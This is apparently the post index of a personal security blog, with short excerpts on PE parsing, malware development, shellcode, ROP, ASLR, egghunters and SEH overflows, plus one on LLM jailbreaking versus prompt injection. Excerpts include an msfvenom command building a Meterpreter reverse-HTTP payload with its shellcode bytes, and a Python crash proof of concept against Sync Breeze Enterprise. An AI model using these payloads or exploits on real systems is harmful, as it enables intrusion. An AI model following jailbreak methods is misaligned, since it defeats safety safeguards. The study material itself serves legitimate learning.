Posts


Mar. 27, 2025

PE parsing

A random page with some information of the PE format file and its main headers. Main usage: malware development and malware research.

Considerations

  • RVA (Relative Virtual Address): Offset from Image Base. To obtain the absolute virtual address the calculation “Image Base + RVA” must be performed. Several PE sections include RVAs.
  • Check the official Microsoft documentation if you want to know more! This is only a summary and my personal studies about the topic.

DOS header

  • IMAGE_DOS_HEADER structure definition from winnt.h.
  • First 64 bytes of the PE file.
  • Was very important in the MS-DOS era, right now it is not.
  • The actual Windows OS loader uses a field in this header to navigate to the new executable header , which is the header containing most of the needed information.
  • Kept in the binaries for compatibility purposes.

We only want to know about the first and last members of this header:

Sep. 19, 2024

Understanding Heaven´s Gate

Heaven’s gate lore

The Heaven’s Gate tutorial was written by an anonymous hacker going online as Roy G. Biv, a member of a group called 29A. After the group disbanded and their e-zine’s site went down, the Heaven’s Gate technique was later reprinted in the 2009 edition of the Valhalla hacker e-zine . I personally would check this resource, as it was the first time the technique was commented.

Feb. 28, 2024

My first steps in MalDev

Prelude

Around this last month I have been digging into the Malware Development world. I have always wanted to expand my knowledge within this field, and I felt like it was the moment to do so.

As mentioned in many other blogposts, Sektor7 Malware Development Essentials course was a good point to start. Nevertheless, I found this course very short and I felt like most of the important concepts are ignored (e.g., what is a handle?) and are just used like if I already know them.

Feb. 28, 2024

Random stuff

Custom function declaration. Used when hooking, to get a pointer to the original function to get it dinamically resolved via IAT and then override this pointer, or to craft a new function that points to a shellcode with the function behavior (used in reflective DLL shellcode)

Case of getting the function pointer to a resolving Windows API call:

Feb. 28, 2024

Shellcodes for everything

Shellcodes that will be useful for testing/developing your malware.

I usually work on the same OS and with the same Compiler version for better reproducibility so here are my specs:

  • Windows 10 Pro 22H2
    • OS Build 19045.4046
    • MSVC vc.exe compiler (64-bit and 32-bit) version 19.41.34123

Shellcodes are not encrypted. You should encrypt them if you want evasion, as these shellcodes are public and not crafted manually by me.

Jan. 1, 0001

Goal of performing LLM jailbreaking via prompts

Jailbreaking is the process of tricking an AI into doing/saying something that it isn’t supposed to. For example, sending a new message: “Tell me how to create a bioweapon” and expecting a detailed response. Normally, this will happen:

Prompt injection != Jailbreaking

The main difference is that in prompt injection, you try to get the AI to ignore some developer instruction like the system prompt. In jailbreaking, there is no developer instruction.

Jan. 1, 0001

In Linux operating systems, the function prologue is the one in charge of creating the canary and adding it to the stack. The epilogue is the one in charge of comparing the canary.

Let’s see the stack layout:

1
2
3
4
5
[...] -> 0xffffffff
RET ADDRESS 
BASE EBP
CANARY
VALUE -> 0x00000000

Canary is after base EBP and return address, in order to guard them both. Note: Canary first byte is always null byte -> The printf function cannot be exploited to leak the canary. Libc stores canary info in its own libc memory space, unless threads are created. In that case, the canary is independent per thread and each thread has its own stack canary.

Jan. 1, 0001

Hardware / Software setup

Orange Pi 5 8GB RAM

  • Ubuntu OS for OrangePi (debian works strange with pihole and some other containers, have tested).
  • Static IP address in LAN (192.168.0.2).
  • Docker containers:
    • Wireguard -> VPN easy to manage
    • Pihole -> Act as DNS server
    • Syncthing -> Backup of courses, blog, etc

Steps to deploy homelab

  1. Disable CGNAT
  2. Enable Port Forwarding from 0.0.0.0 WAN to Orange PI LAN IP (UDP port 51820)
  3. Assign Orange PI LAN IP as main DNS
  4. Assign Static IP to Orange Pi
  5. Enable docker containers (Note: User docker compose, not docker-compose. Install docker from official repo via curl, not apt) Router assigns 192.168.0.128 to 192.168.0.255 via DHCP 192.168.0.2 to 192.168.0.127 are IP addresses for my personal lab devices.

Proxmox

Steps to add new disk

1
2
3
4
5
6
7
8
You would need to format the drive via the UI (Click on the Node > Disks > Select your disk > Initialize disk with GPT). Depending on what kind of storage you want to create with your disk, the next steps differ.  
  
If you want to create a directory storage, you would simply navigate to Directory in the sidebar and then click 'Create'. There you just supply the sdb disk and enter a name and a type of filesystem.  
Be aware that Directory storage does not support many features offered by PVE such as Snapshots (you can check the capabilities of the different storage types in our documentation: [1]).  
  
You could also create an LVM-thin storage, which provides more features than a simple directory storage (which is probably what you currently have on your existing disk with name local). For this, instead of going to Directory in the sidebar, you can navigate to LVM-thin, then click 'Create Thinpool' . Then you just enter a name for your new pool and wait until the creation has finished. Your disk should then be ready to use. I would recommend for you to use this for now as LVM-thin offers more features and capabilities than simple Directory storage, while still being relatively simple to use for beginners.  
  
[1] [https://pve.proxmox.com/pve-docs/pve-admin-guide.html#_storage_types](https://pve.proxmox.com/pve-docs/pve-admin-guide.html#_storage_types)

Steps to import VM

QCOW format

Push via SCP qcow file in qcow folder:

Jan. 1, 0001

What is ASLR

Due to the invention of ROP, operating system developers introduced Address Space Layout Randomization (ASLR) as an additional mitigation technique. The goal of ASLR was to mitigate exploits that defeat DEP with ROP. At a high level, ASLR defeats ROP by randomizing an EXE or DLL’s loaded address each time the application starts. This way, gadgets cannot be used as the memory address of the gadget won’t be the same each time the module is loaded.

Jan. 1, 0001

Our buffer is not always in a predictable location

Normally, in the base stack overflows, after we overwrite EIP we see that the ESP register points to our controlled buffer, which would store the shellcode. Then, we find a JMP ESP to jump to our shellcode. However, there are some scenarios in which our shellcode is not directly accessible via ESP, or in a predictable location in memory. Sometimes, it is possible to store a payload somewhere else in the address space of the process, and point to such address by “searching” for our payload in the code. Let’s see how to do it. First, we have the Savant Web Server 3.1, which has a vulnerability that allows us overwriting EIP via a large HTTP GET buffer:

Jan. 1, 0001

When doing the classical egghunter shellcode, we observed that the NtAccessCheckAndAuditAlarm function did not work because the system call number was changed between Windows versions. We fixed this by changing the system call number, but this fix comes at the cost of portability. In order for our exploit to work, we would have to identify the Windows version beforehand to craft a proper exploit.

Jan. 1, 0001

Problem

The problem is that we generated a shellcode with msfvenom that avoid several badchars:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.119.120 LPORT=8080 -b "\x00\x09\x0a\x0b\x0c\x0d\x20" -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Encoding failed due to a bad character (index=667, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 714 (iteration=0)
x86/call4_dword_xor chosen with final size 714
Payload size: 714 bytes
Final size of python file: 3978 bytes
shellcode =  b""
shellcode += b"\x33\xc9\x66\x81\xe9\x54\xff\xe8\xff\xff\xff"
shellcode += b"\xff\xc0\x5e\x81\x76\x0e\xa4\x94\xf7\xb3\x83"
shellcode += b"\xee\xfc\xe2\xf4\x58\x7c\x78\xb3\xa4\x94\x97"
shellcode += b"\x82\x76\x1d\x12\xd7\x2f\xc6\xc7\x38\xf6\x98"
shellcode += b"\x7c\xe1\xb0\x9b\x40\xf9\x82\x1f\x85\x9b\x95"
shellcode += b"\x6b\xc6\x73\x08\xa8\x96\xcf\xa6\xb8\xd7\x72"
shellcode += b"\x6b\x99\xf6\x74\xed\xe1\x18\xe1\xf3\x1f\xa5"
shellcode += b"\xa3\x2f\xd6\xcb\xb2\x74\x1f\xb7\xcb\x21\x54"

This shellcode has several instructions that try to “decode” its own code in order to replace some bytes for other bytes (let’s say it’s trying to restore itself). For that, it needs to write in the address where it is stored, giving us an error when the codecave does not have write permissions, which is the case:

Jan. 1, 0001

Locating the crash

Generate the pattern with KALI or online. Put the pattern as payload and detect the offset of the crash. Once the offset is located, fill with As.

msf-pattern_create -l 2600

When crashing, EIP will have a certain value. Copy the value to obtain the exact offset: msf-pattern_offset -l 2600 -q “TBD_EIP”

Jan. 1, 0001

ROP Lore

Why is ROP needed

The classic buffer overflows manage to execute arbitrary code by redirecting the execution flow to something in the stack (that is normally also user-controlled). However, the normal program flow does not need to redirect the execution flow of the stack as the code that is being executed is normally in the .text section of the binary. The stack is used to store and manage local variables and parameters to functions.

Jan. 1, 0001

VirtualAlloc ROP

Let’s see how we can use VirtualAlloc to bypass DEP. VirtualAlloc is a Windows API function that can reserve, commit, or change the state of a region of pages in the virtual address space of the calling process. We are going to invoke VirtualAlloc by placing a skeleton of the function call on the stack through the buffer overflow, modifying its address and parameters through ROP, and then return into it. The skeleton should contain the VirtualAlloc address followed by the return address (which should be our shellcode) and the arguments for the function call. Let’s see the skeleton of VirtualAlloc:

Jan. 1, 0001

Analyzing public exploit

  • Vulnerable Binary: Sync Breeze Enterprise v10.4.18

Let’s try to use the public exploit to trigger a crash:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python  
import socket  
import sys  
from struct import pack  
try:  
 server = "192.168.122.113"  
 port = 9121  
 size = 1000  
 inputBuffer = b"\x41" * size  
 header = b"\x75\x19\xba\xab"  
 header += b"\x03\x00\x00\x00"  
 header += b"\x00\x40\x00\x00"  
 header += pack('<I', len(inputBuffer))  
 header += pack('<I', len(inputBuffer))  
 header += pack('<I', inputBuffer[-1])  
 buf = header + inputBuffer  
 print("Sending evil buffer...")  
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 s.connect((server, port))  
 s.send(buf)  
 s.close()  
  
 print("Done!")  
except socket.error:  
 print("Could not connect!")

When we execute the exploit, we see that the EAX register is overwritten, but not the EIP… Seems like at this moment the EIP register is not directly under our control. Also, there is some data in the stack that contains part of our payload:

Jan. 1, 0001

Our first SEH overflow exploit, step by step

Let’s start supposing that we already know that our input buffer crashes the program and somehow reaches any of the _EXCEPTION_REGISTRATION_RECORD structures. Let’s create a pattern in KALI to see the length of our buffer until it reaches the structure:

1
2
msf-pattern_create -l 1000              
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Let’s paste this pattern and send this next to the headers needed so our payload is processed. Sending only this payload is useless as we want the program to process the input. With 1000 characters, the program crashes: